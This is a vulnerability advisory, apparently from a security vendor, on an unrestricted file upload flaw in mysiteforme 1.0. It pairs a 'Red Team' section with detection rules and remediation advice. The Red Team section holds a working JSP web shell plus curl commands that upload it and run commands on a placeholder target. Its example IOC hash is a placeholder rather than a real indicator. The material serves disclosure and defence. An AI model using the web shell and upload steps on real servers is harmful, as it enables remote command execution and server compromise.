CVE-2024-13138
Executive Summary
CVE-2024-13138 is a critical unrestricted file upload vulnerability in wangl1989 mysiteforme version 1.0. The flaw resides in the upload function of LocalUploadServiceImpl.java, allowing remote attackers to upload arbitrary files without proper validation. This can lead to remote code execution (RCE), data exfiltration, or full server compromise. The exploit has been publicly disclosed, and no official patch is available. The CVSS score is 0.0 due to incomplete NVD data, but the actual severity is critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a Java-based web application (mysiteforme). While not a package manager ecosystem (NPM, PyPI, etc.), the risk extends to any deployment using this software. Organizations should audit their use of mysiteforme and consider it a supply chain risk if integrated into internal tools or customer-facing services.
CVSS Breakdown & Threat Level
Although the NVD CVSS score is 0.0, the actual risk is critical. Based on the vulnerability characteristics:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – affects only the vulnerable component.
- Confidentiality (C): High (H) – full file read possible.
- Integrity (I): High (H) – arbitrary file upload can overwrite system files.
- Availability (A): High (H) – can lead to denial of service or RCE.
Threat Level: Critical. Immediate action required.
Deep Dive & Mechanics
The vulnerability is in the upload method of LocalUploadServiceImpl.java. The function accepts a test argument (likely a multipart file parameter) and saves it to the server without checking file type, size, or content. An attacker can upload a malicious JSP or shell script to the web root, then access it via HTTP to execute arbitrary commands.
Root Cause: Missing file validation (type, extension, content) and lack of directory traversal protection. The test parameter is directly used in file path construction.
Attack Flow:
- Attacker sends a POST request to the upload endpoint with a crafted file (e.g.,
shell.jsp). - The server saves the file to a predictable location (e.g.,
/uploads/shell.jsp). - Attacker accesses the uploaded file via HTTP, triggering code execution.
Vulnerable vs. Patched Code
Vulnerable Code (LocalUploadServiceImpl.java):
public String upload(MultipartFile test) {
String fileName = test.getOriginalFilename();
File dest = new File(uploadPath + fileName);
test.transferTo(dest);
return fileName;
}
Patched Code (Hypothetical):
public String upload(MultipartFile test) {
String fileName = UUID.randomUUID().toString() + getExtension(test);
if (!isAllowedExtension(fileName)) {
throw new SecurityException("File type not allowed");
}
File dest = new File(uploadPath + fileName);
test.transferTo(dest);
return fileName;
}
No official patch exists. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: mysiteforme 1.0 running on Tomcat/Jetty.
- Attacker: Kali Linux with curl or Burp Suite.
Exploit Steps:
- Create a malicious JSP file (e.g.,
cmd.jsp):<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } %> - Upload the file:
curl -F "test=@cmd.jsp" http://target/mysiteforme/upload - Execute commands:
curl http://target/mysiteforme/uploads/cmd.jsp?cmd=id
Blue Team (Defensive)
Detection:
- Monitor for unusual file uploads (e.g.,
.jsp,.war,.exe). - Check web server logs for POST requests to
/uploadwith multipart data. - Use file integrity monitoring (FIM) on upload directories.
Mitigation:
- Block file uploads at the WAF level.
- Restrict upload directory permissions (no execute).
- Apply virtual patching via mod_security rules.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – replace with actual if known)
cmd.jsp:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Patterns:
- POST requests to
/mysiteforme/uploadwithContent-Type: multipart/form-data. - Subsequent GET requests to
/mysiteforme/uploads/*.jsp.
- POST requests to
- File Paths:
/uploads/cmd.jsp/uploads/shell.jsp
- Log Entries:
POST /mysiteforme/upload HTTP/1.1200GET /mysiteforme/uploads/cmd.jsp?cmd=id200
Detection Engineering
YARA Rule
rule CVE_2024_13138_Upload {
meta:
description = "Detects malicious JSP uploads targeting mysiteforme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-13138"
strings:
$jsp_marker = "<%" nocase
$cmd_param = "cmd=" nocase
$runtime_exec = "Runtime.getRuntime().exec" nocase
condition:
$jsp_marker and ($cmd_param or $runtime_exec)
}
Sigma Rule
title: CVE-2024-13138 Unrestricted File Upload
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to mysiteforme upload endpoint with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/mysiteforme/upload'
cs-uri-query: '*'
condition: selection
falsepositives:
- Legitimate file uploads (e.g., images, PDFs)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-13138 Unrestricted File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/mysiteforme/upload"; http_uri; content:"multipart/form-data"; http_header; content:".jsp"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the upload functionality if not required.
- Virtual Patching: Deploy WAF rules to block
.jsp,.war,.phpuploads. - Code Fix: Implement file type validation, rename files, and store outside web root.
- Monitoring: Enable logging and alerting on upload attempts.
- Update: Monitor for official patches from wangl1989.
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2024-13138